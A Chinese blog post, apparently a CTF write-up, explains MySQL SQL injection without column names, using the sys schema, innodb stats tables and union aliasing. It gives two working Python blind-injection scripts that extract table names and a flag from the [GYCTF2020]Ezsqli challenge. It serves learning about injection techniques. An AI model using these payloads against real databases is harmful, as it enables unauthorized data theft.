SQL注入 无列名注入

无列名注入

什么是无列名注入?

顾名思义,就是在不知道列名的情况下进行 sql 注入。

在 MySQL 5以上的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在sql注入中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。

MySQL 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_statsinnodb_table_stats两张表

这两张表记录了数据库和表的信息,但是没有列名

select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

sys库的两种形式:

1.正常的:schema_table_statistics_with_buffer(适合人阅读)

2.以x$开头:x$schema_table_statistics_with_buffer(适合工具采集数据)

如果这两个方法都不能获取表名,那就需要进行无列名注入

无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。

这里用owasp的虚拟机进行测试

1、正常查询

select*from users

一共有六个列名

将列名用数字代替

select 1,2,3,4,5,6 union select * from users;

列名被替换为数字,也就是说,我们可以继续数字来对应列,如 5 对应了表里面的 password

select `6` from (select 1,2,3,4,5,6 union select * from users)a;

ps:末尾的 a 可以是任意字符,用于命名。

简而言之,可以通过任意命名进入该表,然后使用 SELECT 查询这些字段中的任何已知值。

例题:

[GYCTF2020]Ezsqli

进行fuzz测试后发现information_schema库被过滤了,fuzz测试过程跳过,直接快进到开注

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
    for i in range(32, 127):
        py = payload.format(j,i)
        post_data = {'id': py}
        re = requests.post(url, data=post_data)
        if 'Nu1L' in re.text:
            result += chr(i)
            print(result)
            break

(手注还是太吃操作了,直接偷了个脚本来)

[GYCTF2020]Ezsqli(无列名注入)-优快云博客

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
    res = ''
    res += flag
    return res
flag = ''
for i in range(1,200):
    for char in range(32, 127):
        hexchar = add(flag + chr(char))
        payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #print(payload)
        data = {'id':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

直接一把梭出flag

过程不重要,主要解释下payload:

payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'

这里就是用sys库的schema_table_statistics_with_buffer爆破出表名,脚本原理类似sql盲注

payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)

这里就是简单的无列名注入,脚本原理同上

得到flag后转小写就好

ps:这里因为前面那个脚本不知道为什么全是乱码所以又换了一个脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值